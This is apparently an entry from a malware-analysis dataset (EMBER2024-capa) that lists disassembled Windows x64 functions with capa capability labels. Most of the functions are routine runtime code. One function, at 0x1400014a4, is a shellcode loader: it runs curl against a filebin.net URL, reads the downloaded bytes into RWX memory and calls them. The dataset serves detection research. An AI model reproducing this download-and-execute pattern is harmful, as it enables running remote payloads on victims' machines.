joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002138
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov r12, rdx
mov r14, rcx
test rcx, rcx
jne 0x140002163
xor eax, eax
jmp 0x140002318
mov ebx, 0x130
xor ecx, ecx
mov edx, ebx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
and qword [rbp + 0x30], 0
lea r9, [rbp + 0x30]
mov rdx, rax
mov r8d, ebx
mov ecx, 0xb
mov rsi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
movsxd rbx, eax
test eax, eax
jns 0x140002214
lfence
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov r15d, 0xc0000004
cmp ebx, r15d
je 0x1400021b9
lfence
mov rax, rbx
jmp 0x140002318
mov edi, dword [rbp + 0x30]
xor ecx, ecx
add edi, 0x130
mov edx, edi
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140002800
lea r9, [rbp + 0x30]
mov r8d, edi
mov rdx, rsi
mov ecx, 0xb
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov ecx, 0x80000000
movsxd rbx, eax
lea eax, [rbx + rcx]
test ecx, eax
jne 0x140002214
cmp ebx, r15d
je 0x140002214
lfence
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x1400021b1
xorps xmm0, xmm0
lea rcx, [rbp - 0x40]
mov rdx, r14
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.ntoskrnl.exe_RtlInitString]
xorps xmm0, xmm0
lea rdx, [0x140002c90]
lea rcx, [rbp - 0x30]
movups xmmword [rbp - 0x30], xmm0
call qword [sym.imp.ntoskrnl.exe_RtlInitString]
xorps xmm0, xmm0
lea rdx, [0x140002ca0]
lea rcx, [rbp - 0x20]
movups xmmword [rbp - 0x20], xmm0
call qword [sym.imp.ntoskrnl.exe_RtlInitString]
xor r14d, r14d
xor r15d, r15d
test ebx, ebx
js 0x140002301
lfence
mov r8b, 1
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
je 0x1400022f6
mov r8b, 1
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
je 0x1400022f6
xor ebx, ebx
cmp dword [rsi], ebx
jbe 0x140002301
lea rdi, [rsi + 8]
movzx edx, word [rdi + 0x26]
lea rcx, [rbp - 0x10]
add rdx, 0x28
xorps xmm0, xmm0
add rdx, rdi
movups xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntoskrnl.exe_RtlInitString]
mov r8b, 1
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
je 0x1400022dd
inc ebx
add rdi, 0x128
cmp ebx, dword [rsi]
jb 0x14000229d
jmp 0x140002301
lfence
movsxd rax, ebx
imul rcx, rax, 0x128
mov r14, qword [rcx + rsi + 0x18]
mov r15d, dword [rcx + rsi + 0x20]
jmp 0x140002301
lfence
mov r14, qword [rsi + 0x18]
mov r15d, dword [rsi + 0x20]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
test r12, r12
je 0x140002315
mov qword [r12], r15
mov rax, r14
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x1400029fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002a46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002a46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002a46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002a46
cmp dword [rcx + 0x84], 0xe
jbe 0x140002a46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002a48
xor al, al
add rsp, 0x28
ret
Function at 0x1400016c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140001777
movsxd r13, dword [rax + 0x3c]
mov r12d, dword [r13 + rax + 0x88]
mov r15d, dword [r12 + rax + 0x1c]
mov r10d, dword [r12 + rax + 0x20]
add r15, rax
mov r11d, dword [r12 + rax + 0x24]
add r10, rax
add r11, rax
test esi, 0xffff0000
jne 0x14000172e
movzx eax, si
sub eax, dword [r12 + rbx + 0x10]
mov eax, dword [r15 + rax*4]
add rax, rbx
jmp 0x140001779
mov edi, dword [r12 + rax + 0x18]
xor r14d, r14d
mov r9d, r14d
test edi, edi
je 0x140001777
nop dword [rax]
mov eax, dword [r10]
mov r8, rsi
movzx ebp, word [r11]
add rax, rbx
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001763
inc rax
test ecx, ecx
jne 0x140001750
test edx, edx
je 0x140001796
inc r9d
add r11, 2
add r10, 4
cmp r9d, edi
jb 0x140001740
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov ecx, dword [r15 + rbp*4]
cmp r12, rcx
ja 0x14000184e
mov eax, dword [r13 + rbx + 0x8c]
add eax, r12d
cmp rcx, rax
jae 0x14000184e
lea rbp, [rcx + rbx]
mov rcx, rbp
lea rdx, [0x140003398]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rdi, rax
lea rsi, [rax + 1]
mov rax, 0xffffffffffffffff
sub rsi, rbp
mov rcx, rsi
add rcx, 4
lea edx, [rax + 2]
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x140001777
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ecx, word [0x14000339c]
mov word [rbx + rsi], cx
movzx ecx, byte [0x14000339e]
mov byte [rbx + rsi + 2], cl
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000183d
lea rdx, [rdi + 1]
mov rcx, rbx
call fcn.1400016c0
mov r14, rax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, r14
jmp 0x140001779
lea rax, [rcx + rbx]
jmp 0x140001779
Function at 0x140002880
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1400028a1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400028ce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400028d0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002929
test ecx, ecx
jle 0x140002909
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002929
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002929
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002950
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002972
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140002981
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400029a4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400029a6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400029e2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002a7e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140002a1d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140002a5e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140002a7e
cmp rbx, rax
ja 0x140002a30
test rbx, rbx
je 0x140002a7e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002ee0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140002f0d
xor eax, eax
jmp 0x140003079
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002f47
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002f47
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003079
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000306c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002f8a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002fb5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003071
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003024
sub eax, 1
je 0x140003024
cmp eax, 2
jne 0x14000306c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003071
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003052
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000306c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003071
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003bb0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140003480
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003553
cmp byte [rcx + 0x71], 0
je 0x140003553
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000354f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003514
sub eax, 1
je 0x140003518
cmp eax, 2
jne 0x14000354f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003bb0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003546
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000354f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400034fc
xor al, al
jmp 0x1400034fc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003bb0
add rsp, 0x60
pop rbx
ret

Function at 0x140004530
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000457a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000457a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000457a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000457a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000457a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000457c
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400097d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400097e0]
mov dword [rax], 1
mov rax, qword [0x1400097f0]
mov dword [rax], 1
mov rax, qword [0x140009780]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400097c0]
mov dword [0x14000c00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400098a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140009880]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140009730]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x210
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.curl_https:__filebin.net_z40m1bcp7xyfl0uh_code.bin
mov qword [rbp + 0x180], rax
mov byte [rbp + 0x16f], 0
mov dword [rbp + 0x18c], 0
mov rax, qword [rbp + 0x180]
lea rdx, [0x140009033]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
jne 0x14000155b
lea rax, str.popen___failed.
mov rcx, rax
call sym.perror
mov ecx, 1
call sym.exit
movzx eax, byte [rbp + 0x16f]
mov edx, eax
mov eax, dword [rbp + 0x18c]
cdqe
mov byte [rbp + rax - 0x60], dl
mov eax, dword [rbp + 0x18c]
cdqe
movzx eax, byte [rbp + rax - 0x60]
movzx eax, al
mov edx, eax
lea rax, [0x140009045]
mov rcx, rax
call sym.printf
add dword [rbp + 0x18c], 1
mov rdx, qword [rbp + 0x178]
lea rax, [rbp + 0x16f]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
test rax, rax
jne 0x14000151e
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x1cc
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x170]
call rax
mov eax, 0
add rsp, 0x210
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001900
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001970
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000c0a4]
mov rbx, rcx
test esi, esi
jle 0x140001aa0
mov rax, qword [0x14000c0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400019bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400019a0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ac2
mov rax, qword [0x14000c0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000c0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001aa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001a3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a50
add dword [0x14000c0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000c0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400019c8
mov rax, qword [0x14000c0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002030
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000c100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x14000208c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002083
test rsi, rsi
je 0x140002083
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002068
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400022b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400022c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400022d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000231d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002314
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000231f
add rax, 0x28
cmp rax, r9
jne 0x140002300
xor eax, eax
ret

Function at 0x140002320
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400023b0
mov rdx, qword [0x140009780]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000239e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000239e
cmp word [rax + 0x18], 0x20b
jne 0x14000239e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400023b0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002389
add rbx, 0x28
cmp rbx, rdi
je 0x1400023b0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002380
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400023c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000243d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002434
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023e0
add rax, 0x28
cmp rax, r9
jne 0x140002420
xor eax, eax
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009780]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000245f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002468
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000245f
movzx ecx, word [rax + 6]
mov eax, ecx
ret